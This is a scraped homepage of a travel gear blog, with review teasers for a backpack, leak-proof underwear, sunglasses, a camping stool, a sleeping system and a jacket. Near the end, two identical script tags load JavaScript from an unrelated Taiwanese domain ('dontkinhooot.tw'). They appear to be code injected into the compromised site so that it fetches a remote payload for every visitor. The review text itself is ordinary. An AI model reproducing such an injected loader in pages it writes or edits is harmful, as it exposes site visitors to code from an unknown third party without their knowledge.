Hero Image

Your ultimate travel guide.

Latest Articles

Pack for Your Weekend Escape with Gregory Border Traveler 30L Pack

By Jill | September 17, 2021

In the interest of minimizing travel luggage, we’ve trained ourselves to pack light and use clothing that can be worn for a variety of occasions. That keeps us from dragging around a lot of things we don’t really need, and saves money in checking bags when flying.   Even for a weekend escape, when our…

Read More >>

proof. Leak Proof Underwear

By Leah Guill | September 17, 2021

In my concerted and continued effort to become more of a minimalist when it comes to my travel gear, I have made 2021 the year of trying period products that are not only practical for travel and daily use, but also cut down on the single use plastics and trash I create. After having both…

Read More >>

CAMP Cove Sunglasses from SHWOOD

By Leah Guill | September 14, 2021

At the Outdoor Retailer Show this last August, I snuck into the prettiest sunglass display I have ever seen. Sunglass frames made from seashells, wood, flowers and acetate. Expecting the variety of materials would make for a heavy frame, I was pleasantly surprised by how light the SHWOOD frames were. There are 4 collections in…

Read More >>

Most Popular

BTR Ultralight Backpacking Stool 17 Inch

By Christian Parrott | August 26, 2021

BTR Ultralight Backpacking Stool 17 inch The BTR Ultralight Backpacking 17-inch stool is the most convenient, light (14.10z), and easiest set up I have ever encountered with a chair. Once you unpack the stool from the box, you can literally set it up within 5 seconds. All you have to do is extend the legs…

Read More >>
Zenbivy Motobed

Zenbivy Motobed

By Christian Parrott | August 3, 2021

  The Zenbivy Motobed provided me with the best night of sleep I’ve ever had camping. My first use with the Zenbivy Motobed was up in the Sawtooth mountains in Stanley, Idaho. It was about a 6-mile hike up to Imogene Lake which had the most spectacular views the whole trip. I used the XL…

Read More >>
Filson Short Lined Cruiser Jacket

Filson Short Lined Cruiser Jacket – A Quick Review

By Trevor Main | August 26, 2016

With classic styling and versatile tin cloth, the Short Lined Cruiser is my new, favorite go-to jacket. This jacket is equally qualified for a night on the town or an entire day on the motorcycle. My original intent for the jacket was to use it as a versatile outer layer while ripping around the twisty…

Read More >>
<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Welcome To Practical Travel Gear

<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Practical Travel Gear started in 2009, focuses on testing and reviewing affordable travel gears. The blog is run by Chris and Leah Guill.

Read by over 30,000 Americans every month and has been featured on websites such as Lonely Planet and USA Today.

Welcome.